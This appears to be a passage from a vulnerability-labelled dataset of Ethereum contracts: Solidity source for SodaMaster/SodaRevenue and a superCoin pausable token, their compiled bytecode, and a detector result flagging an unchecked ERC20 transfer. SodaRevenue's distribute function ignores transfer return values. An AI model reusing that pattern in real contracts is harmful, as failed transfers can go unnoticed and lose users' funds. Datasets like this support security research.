* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/SodaMaster.sol
/*
Here we have a list of constants. In order to get access to an address
managed by SodaMaster, the calling contract should copy and define
some of these constants and use them as keys.
Keys themselves are immutable. Addresses can be immutable or mutable.
a) Vault addresses are immutable once set, and the list may grow:
K_VAULT_WETH = 0;
K_VAULT_USDT_ETH_SUSHI_LP = 1;
K_VAULT_SOETH_ETH_UNI_V2_LP = 2;
K_VAULT_SODA_ETH_UNI_V2_LP = 3;
K_VAULT_GT = 4;
K_VAULT_GT_ETH_UNI_V2_LP = 5;
b) SodaMade token addresses are immutable once set, and the list may grow:
K_MADE_SOETH = 0;
c) Strategy addresses are mutable:
K_STRATEGY_CREATE_SODA = 0;
K_STRATEGY_EAT_SUSHI = 1;
K_STRATEGY_SHARE_REVENUE = 2;
d) Calculator addresses are mutable:
K_CALCULATOR_WETH = 0;
Solidity doesn't allow me to define global constants, so please
always make sure the key name and key value are copied as the same
in different contracts.
*/
// SodaMaster manages the addresses all the other contracts of the system.
// This contract is owned by Timelock.
contract SodaMaster is Ownable {
address public pool;
address public bank;
address public revenue;
address public dev;
address public soda;
address public wETH;
address public usdt;
address public uniswapV2Factory;
mapping(address => bool) public isVault;
mapping(uint256 => address) public vaultByKey;
mapping(address => bool) public isSodaMade;
mapping(uint256 => address) public sodaMadeByKey;
mapping(address => bool) public isStrategy;
mapping(uint256 => address) public strategyByKey;
mapping(address => bool) public isCalculator;
mapping(uint256 => address) public calculatorByKey;
// Immutable once set.
function setPool(address _pool) external onlyOwner {
require(pool == address(0));
pool = _pool;
}
// Immutable once set.
// Bank owns all the SodaMade tokens.
function setBank(address _bank) external onlyOwner {
require(bank == address(0));
bank = _bank;
}
// Mutable in case we want to upgrade this module.
function setRevenue(address _revenue) external onlyOwner {
revenue = _revenue;
}
// Mutable in case we want to upgrade this module.
function setDev(address _dev) external onlyOwner {
dev = _dev;
}
// Mutable, in case Uniswap has changed or we want to switch to sushi.
// The core systems, Pool and Bank, don't rely on Uniswap, so there is no risk.
function setUniswapV2Factory(address _uniswapV2Factory) external onlyOwner {
uniswapV2Factory = _uniswapV2Factory;
}
// Immutable once set.
function setWETH(address _wETH) external onlyOwner {
require(wETH == address(0));
wETH = _wETH;
}
// Immutable once set. Hopefully Tether is reliable.
// Even if it fails, not a big deal, we only used USDT to estimate APY.
function setUSDT(address _usdt) external onlyOwner {
require(usdt == address(0));
usdt = _usdt;
}
// Immutable once set.
function setSoda(address _soda) external onlyOwner {
require(soda == address(0));
soda = _soda;
}
// Immutable once added, and you can always add more.
function addVault(uint256 _key, address _vault) external onlyOwner {
require(vaultByKey[_key] == address(0), "vault: key is taken");
isVault[_vault] = true;
vaultByKey[_key] = _vault;
}
// Immutable once added, and you can always add more.
function addSodaMade(uint256 _key, address _sodaMade) external onlyOwner {
require(sodaMadeByKey[_key] == address(0), "sodaMade: key is taken");
isSodaMade[_sodaMade] = true;
sodaMadeByKey[_key] = _sodaMade;
}
// Mutable and removable.
function addStrategy(uint256 _key, address _strategy) external onlyOwner {
isStrategy[_strategy] = true;
strategyByKey[_key] = _strategy;
}
function removeStrategy(uint256 _key) external onlyOwner {
isStrategy[strategyByKey[_key]] = false;
delete strategyByKey[_key];
}
// Mutable and removable.
function addCalculator(uint256 _key, address _calculator) external onlyOwner {
isCalculator[_calculator] = true;
calculatorByKey[_key] = _calculator;
}
function removeCalculator(uint256 _key) external onlyOwner {
isCalculator[calculatorByKey[_key]] = false;
delete calculatorByKey[_key];
}
}
// File: contracts/components/SodaRevenue.sol
// This contract is owned by Timelock.
contract SodaRevenue is Ownable {
uint256 constant MK_STRATEGY_SHARE_REVENUE = 2;
SodaMaster public sodaMaster;
constructor(SodaMaster _sodaMaster) public {
sodaMaster = _sodaMaster;
}
// Only shareRevenue can call this method. Currently _token is soETH.
function distribute(address _token) external {
address shareRevenue = sodaMaster.strategyByKey(MK_STRATEGY_SHARE_REVENUE);
require(msg.sender == shareRevenue, "sender not share-revenue");
address dev = sodaMaster.dev();
uint256 amount = IERC20(_token).balanceOf(address(this));
// 10% goes to dev.
IERC20(_token).transfer(dev, amount / 10);
// 90% goes to SODA_ETH_UNI_LP holders.
IERC20(_token).transfer(shareRevenue, amount - amount / 10);
}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806363453ae11461005c578063715018a6146100a05780638da5cb5b146100aa578063adf334eb146100de578063f2fde38b14610112575b600080fd5b61009e6004803603602081101561007257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610156565b005b6100a861056d565b005b6100b26106f3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100e661071c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101546004803603602081101561012857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610742565b005b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635f49091f60026040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156101cc57600080fd5b505afa1580156101e0573d6000803e3d6000fd5b505050506040513d60208110156101f657600080fd5b810190808051906020019092919050505090508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f73656e646572206e6f742073686172652d726576656e7565000000000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166391cca3db6040518163ffffffff1660e01b815260040160206040518083038186803b15801561031457600080fd5b505afa158015610328573d6000803e3d6000fd5b505050506040513d602081101561033e57600080fd5b8101908080519060200190929190505050905060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156103ba57600080fd5b505afa1580156103ce573d6000803e3d6000fd5b505050506040513d60208110156103e457600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83600a848161041e57fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561047257600080fd5b505af1158015610486573d6000803e3d6000fd5b505050506040513d602081101561049c57600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84600a84816104d557fe5b0484036040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561052b57600080fd5b505af115801561053f573d6000803e3d6000fd5b505050506040513d602081101561055557600080fd5b81019080805190602001909291905050505050505050565b61057561094d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610635576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61074a61094d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610890576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806109566026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003390509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212204f5c0d593f67fa3391d14c6056deea3df9902c01602fa9970f4a4961ee9796bf64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,514 |
0xed0a7102c8a9da7c5ce36a9b13b3f1a675a3a082
|
/**
*Submitted for verification at Etherscan.io on 2018-09-02
*/
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/OrigoToken.sol
contract superCoinToken is PausableToken {
string public constant name = "superCoin";
string public constant symbol = "Supc";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = (10 ** 9) * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd146102215780632ff2e9dc146102a6578063313ce567146102d15780633f4ba83a146103025780635c975abb14610319578063661884631461034857806370a08231146103ad578063715018a6146104045780638456cb591461041b5780638da5cb5b1461043257806395d89b4114610489578063a9059cbb14610519578063d73dd6231461057e578063dd62ed3e146105e3578063f2fde38b1461065a575b600080fd5b34801561010d57600080fd5b5061011661069d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d6565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610706565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610710565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610742565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e6610753565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030e57600080fd5b50610317610758565b005b34801561032557600080fd5b5061032e610818565b604051808215151515815260200191505060405180910390f35b34801561035457600080fd5b50610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082b565b604051808215151515815260200191505060405180910390f35b3480156103b957600080fd5b506103ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085b565b6040518082815260200191505060405180910390f35b34801561041057600080fd5b506104196108a3565b005b34801561042757600080fd5b506104306109a8565b005b34801561043e57600080fd5b50610447610a69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049557600080fd5b5061049e610a8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104de5780820151818401526020810190506104c3565b50505050905090810190601f16801561050b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052557600080fd5b50610564600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac8565b604051808215151515815260200191505060405180910390f35b34801561058a57600080fd5b506105c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af8565b604051808215151515815260200191505060405180910390f35b3480156105ef57600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b28565b6040518082815260200191505060405180910390f35b34801561066657600080fd5b5061069b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610baf565b005b6040805190810160405280600981526020017f7375706572436f696e000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156106f457600080fd5b6106fe8383610c17565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561072e57600080fd5b610739848484610d09565b90509392505050565b601260ff16600a0a633b9aca000281565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b457600080fd5b600360149054906101000a900460ff1615156107cf57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561084957600080fd5b61085383836110c3565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ff57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0457600080fd5b600360149054906101000a900460ff16151515610a2057600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f537570630000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610ae657600080fd5b610af08383611354565b905092915050565b6000600360149054906101000a900460ff16151515610b1657600080fd5b610b208383611573565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0b57600080fd5b610c148161176f565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d4657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e1e57600080fd5b610e6f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186b90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f02826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fd382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186b90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156111d4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611268565b6111e7838261186b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561139157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113de57600080fd5b61142f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186b90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c2826000808673ffffffffffffffffffffffffffffffffffffffff1673f